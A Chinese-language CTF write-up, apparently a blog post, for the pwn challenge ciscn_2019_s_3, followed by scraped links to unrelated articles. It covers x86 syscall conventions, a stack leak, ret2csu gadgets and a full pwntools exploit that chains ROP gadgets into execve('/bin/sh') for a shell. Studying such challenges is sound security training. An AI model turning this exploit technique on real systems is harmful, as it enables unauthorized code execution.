32位与64位 系统调用的区别:

  1. 传参方式不同

  2. 系统调用号 不同

  3. 调用方式 不同

  32位:

  传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器

  调用号:sys_read 的调用号 为 3 sys_write 的调用号 为 4

  调用方式: 使用 int 80h 中断进行系统调用

  64位:

  传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

  调用号:sys_read 的调用号 为 0 sys_write 的调用号 为 1

  stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15

  调用方式: 使用 syscall 进行系统调用

关于程序偏移计算

  有了上面的知识,就可以做尝试的看这道题了。检查保护只开启了堆栈不可执行。

  main函数调用了vuln函数,我们来看一下vuln的汇编。

  发现首先利用系统调用,执行了read(0,buf,0x400),又执行了write(1,buf,0x30)。看一下buf的位置,发现距离rbp只有0x10大小,存在栈溢出。

  除了这个其实我们还可以看到程序结束的时候是直接程序开始的时候,直接是:

  pop rbp

  mov rbp,rsp

  程序结束的时候直接是:

  retn

  注意!!!这里的retn是0x400519的retn,执行这个其实就跳出这个函数了。  

  而retn是做什么的呢?retn的操作是内 pop eip,然后执行eip指向的指令。

  函数调用开始,rbp==rsp,并且值也一直没变过,所以这里覆盖rbp的时候,其实就需要将rbp覆盖成你想要的返回地址。所以这道题的偏移其实就是0x10就可以了!

pwndbg stack查看rsp上面的栈分布

  在调试这个程序的过程中,因为rsp==rbp,而pwndbg的stack指令直接看到的就是rsp下面的栈分布,这个时候应该怎么办呢?以前学过用pwndbg给地址和寄存器赋值,代码是:

  Set *addr = value  给地址赋值    Set $rsp = value  给寄存器赋值

  只要我们先让$rsp=$rsp-0x...,这样再用stack命令,就可以看到我们想要看的内存分布了!

  咳咳,开始尝试做题了!!!

做法1    通过系统调用59对应的execve,然后想办法执行execve(“/bin/sh”,0,0)

  上面说到了可以进行栈溢出,执行execve就需要给寄存器赋值,那大概的布局就是这样的:

  $rax==59

  $rdi==“/bin/sh”

  $rsi==0

  $rdx==0

  syscall

  ida中可以看到有一个函数叫做gadgets,我们看看汇编干了些什么。

  下面的箭头是给rax赋值为0x3b,也就是59,后面还跟了一个retn。做到这里,真的佩服出题人,这道题出的真好!!!这样首先解决了rax,接下来是rdi,既然“/bin/sh”是字符串,我们可不可以写入栈呢?写入栈的话,就需要leak栈地址。这里我们用上面的知识点,来调试看看栈分布!

  还记得write是会打印出0x30大小的数据,这里在打印到0x20的时候,接下来是打印出来一个地址,这个地址一看就是栈上面的,所以只要算出这个地址和binsh地址的相对偏移,就可以在程序每次执行的时候算出binsh的地址了!

  这里是ca8-b90==0x118

  我查了所有的gadgets,发现没有pop rdx,也没有其他可以给rdx赋值的指令。。。(可能是我没找到)

  这里就需要用到csu了!利用csu给寄存器赋值,调用函数!

--------------------------------我是一条可爱的分割线-----------------------------------------------------------

  上面的是我昨天写的,痛定思痛!!!今天终于全部做出来了!!!

  当我们输入之后,我在栈上其实并没有找到binsh字符串

  图片显示的是leak地址,这样我们就先leak了一个栈上的地址。接着我们尝试着去系统调用。

  这里是现在调试的python脚本:

 1 from pwn import *
2
3 p = process('./ciscn_s_3')
4 elf = ELF('./ciscn_s_3')
5 context.log_level = 'debug'
6
7
8 main_addr = elf.symbols['main']
9 csu_end = 0x040059A
10 csu_front = 0x0400580
11 ret_addr = 0x004003a9
12 rax_59_ret = 0x04004E2
13 gdb.attach(p,'b *0x00400589')
14 payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr)
15 p.sendline(payload)
16 p.recv(0x20)
17 stack_addr = u64(p.recv(8))
18 print 'stack_addr-->' + hex(stack_addr)
19
20 payload = '/bin/sh\x00' + 'A'*0x8 + p64(rax_59_ret) + p64(csu_end)
21 payload += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0)
22 payload += p64(csu_front)
23 p.sendline(payload)
24 pause()

  

  可以看到我们现在可以在栈中看到binsh字符串了,我们算一下和我们leak的栈地址的相对偏移是多少。

  0xd868-0xd730==0x138,那么说明binsh的位置在binsh_addr = leak_addr - 0x138。

  我刚开始想在csu中直接拿shell,但是确实是忽略了一个细节。那就是csu中其实是给edi赋值,而我们这里需要rdi中存的是一个binsh的地址,很显然4个字节是满足不了的,所以我们csu的目的,就是给rsi,rdx赋值为0,任务就算是完成了。那么我们r12也就是要调用的函数应该写什么呢?这里就顺便让rax==0x3b,也就是系统调用号。

  可以看到我们也是可以在栈中找到,位置是binsh_addr + 0x10。

  接下来就是编写exp了:

 1 from pwn import *
2
3 p = process('./ciscn_s_3')
4 elf = ELF('./ciscn_s_3')
5 context.log_level = 'debug'
6
7 main_addr = elf.symbols['main']
8 csu_end = 0x040059A
9 csu_front = 0x0400580
10 ret_addr = 0x004003a9
11 rax_59_ret = 0x04004E2
12 syscall = 0x0400517
13
14 #gdb.attach(p,'b *0x00400589')
15 payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr)
16 p.sendline(payload)
17 p.recv(0x20)
18 stack_addr = u64(p.recv(8))
19 print 'stack_addr-->' + hex(stack_addr)
20
21 binsh_addr = stack_addr - 0x138
22 rax_59 = binsh_addr + 0x10
23 pop_rdi = 0x04005a3
24
25 payload = '/bin/sh\x00' + 'A'*0x8 + p64(rax_59_ret) + p64(csu_end)
26 payload += p64(0) + p64(1) + p64(rax_59) + p64(0) + p64(0) + p64(0)
27 payload += p64(csu_front)
28 payload += 'a'*0x38
29 payload += p64(pop_rdi)
30 payload += p64(binsh_addr)
31 payload += p64(syscall)
32 p.sendline(payload)
33 p.interactive()
34 #pause()

  这道题说实话,花费了好长时间,因为用csu做的人不多,大佬们都是随便一做,用srop就解决了。也有大佬们用csu做的,但是实在是看不懂。师傅们各种骚操作,巧妙的构造rop。不过好在是我也构造出来rop了,也打通了。

  等我明天尝试学习一下srop,来用另一种方法解决这道题!!!

  

  

  

ciscn_2019_s_3 一道收获很多的题(进步大只能说明基础差)的更多相关文章

  1. 洛谷P2918 [USACO08NOV]买干草(一道完全背包模板题)

    题目链接 很明显的一道完全背包板子题,做法也很简单,就是要注意 这里你可以买比所需多的干草,只要达到数量就行了 状态转移方程:dp[j]=min(dp[j],dp[j-m[i]]+c[i]) 代码如下 ...

  2. 又一道区间DP的题 -- P3146 [USACO16OPEN]248

    https://www.luogu.org/problemnew/show/P3146 一道区间dp的题,以区间长度为阶段; 但由于要处理相邻的问题,就变得有点麻烦; 最开始想了一个我知道有漏洞的方程 ...

  3. [真题] 一道 vsftp 运维题

    一道 vsftp 运维题 一.前言 在 V 站上凑巧看到了好友发的求助帖,五天时间一个理他的都没有.哈哈哈~ 废话不多说,我们来试试. 二.题目 这里我们假设存在这样的场景: 网络内有普通用户 ade ...

  4. QDUOJ 一道简单的数据结构题 栈的使用(括号配对)

    一道简单的数据结构题 发布时间: 2017年6月3日 18:46   最后更新: 2017年6月3日 18:51   时间限制: 1000ms   内存限制: 128M 描述 如果插入“+”和“1”到 ...

  5. 大数据入门基础系列之Hadoop1.X、Hadoop2.X和Hadoop3.X的多维度区别详解(博主推荐)

    不多说,直接上干货! 在前面的博文里,我已经介绍了 大数据入门基础系列之Linux操作系统简介与选择 大数据入门基础系列之虚拟机的下载.安装详解 大数据入门基础系列之Linux的安装详解 大数据入门基 ...

  6. 贝叶斯公式由浅入深大讲解—AI基础算法入门

    1 贝叶斯方法 长久以来,人们对一件事情发生或不发生的概率,只有固定的0和1,即要么发生,要么不发生,从来不会去考虑某件事情发生的概率有多大,不发生的概率又是多大.而且概率虽然未知,但最起码是一个确定 ...

  7. 贝叶斯公式由浅入深大讲解—AI基础算法入门【转】

    本文转载自:https://www.cnblogs.com/zhoulujun/p/8893393.html 1 贝叶斯方法 长久以来,人们对一件事情发生或不发生的概率,只有固定的0和1,即要么发生, ...

  8. 大数据学习--day04(选择结构、循环结构、大数据java基础面试题)

    选择结构.循环结构.大数据java基础面试题 switch: 注意: byte short int char String(jdk1.7支持) 不能是 long float double boolea ...

  9. 从一道简单的dp题中学到的...

    今天想学点动态规划的知识,于是就看了杭电的课件,数塔问题啊,LCS啊都是比较经典的动规了,然后随便看了看就开始做课后练习题... HDOJ 1421 搬寝室 http://acm.hdu.edu.cn ...

随机推荐

  1. [loj2586]选圆圈

    下面先给出比较简单的KD树的做法-- 根据圆心建一棵KD树,然后模拟题目的过程,考虑搜索一个圆 剪枝:如果当前圆[与包含该子树内所有圆的最小矩形]都不相交就退出 然而这样的理论复杂度是$o(n^2)$ ...

  2. [loj2136]地震后的幻想乡

    考虑kruskal的过程:对$n$条边随机排列(排序),令$k$表示前$k$条边恰好能使图联通,根据题目的提示,即$E(\frac{k}{m+1})=\frac{E(k)}{m+1}$ 设$p(k)$ ...

  3. C/C++ Qt ToolBar 菜单组件应用

    ToolBar工具栏在所有窗体应用程序中都广泛被使用,使用ToolBar可以很好的规范菜单功能分类,用户可根据菜单栏来选择不同的功能,Qt中默认自带ToolBar组件,当我们以默认方式创建窗体时,To ...

  4. 从零开始,使用Dapr简化微服务

    序言 现有的微服务模式需要再业务代码中集成大量基础设施模块,比如注册中心,服务发现,服务调用链路追踪,请求熔断,重试限流等等,使得系统过于臃肿重量级. Dapr作为新一代微服务模式,使用sidecar ...

  5. Linux排序数据

    1.sort 默认是按照字符大小来排序,如果要按照数字大小排序,需要加参数-n,-M按月排序 如:sort text.txt按字符大小排序 sort -n text.txt 按照数字大小排序 sort ...

  6. Codeforces 436E - Cardboard Box(贪心/反悔贪心/数据结构)

    题面传送门 题意: 有 \(n\) 个关卡,第 \(i\) 个关卡玩到 \(1\) 颗星需要花 \(a_i\) 的时间,玩到 \(2\) 颗星需要 \(b_i\) 的时间.(\(a_i<b_i\ ...

  7. 洛谷 P5502 - [JSOI2015]最大公约数(区间 gcd 的性质+分治)

    洛谷题面传送门 学校模拟赛的某道题让我联想到了这道题-- 先讲一下我的野鸡做法. 首先考虑分治,对于左右端点都在 \([L,R]\) 中的区间我们将其分成三类:完全包含于 \([L,mid]\) 的区 ...

  8. Codeforces 1458E - Nim Shortcuts(博弈论+BIT)

    Codeforces 题目传送门 & 洛谷题目传送门 首先看到这样的题我们不妨从最特殊的情况入手,再逐渐推广到一般的情况.考虑如果没有特殊点的情况,我们将每个可能的局面看作一个点 \((a,b ...

  9. sigma网格中水平压力梯度误差及其修正

    1.水平梯度误差产生 sigma坐标系下,笛卡尔坐标内水平梯度项对应形式为 \[\begin{equation} \left. \frac{\partial }{\partial x} \right| ...

  10. MAC下如何连接安卓(小米)手机进行互传文件?

    命令行: brew cask install android-file-transfer AndroidFileTransfer, 在andorid设备和您的mac电脑之间浏览和传输文件: 不论通过什 ...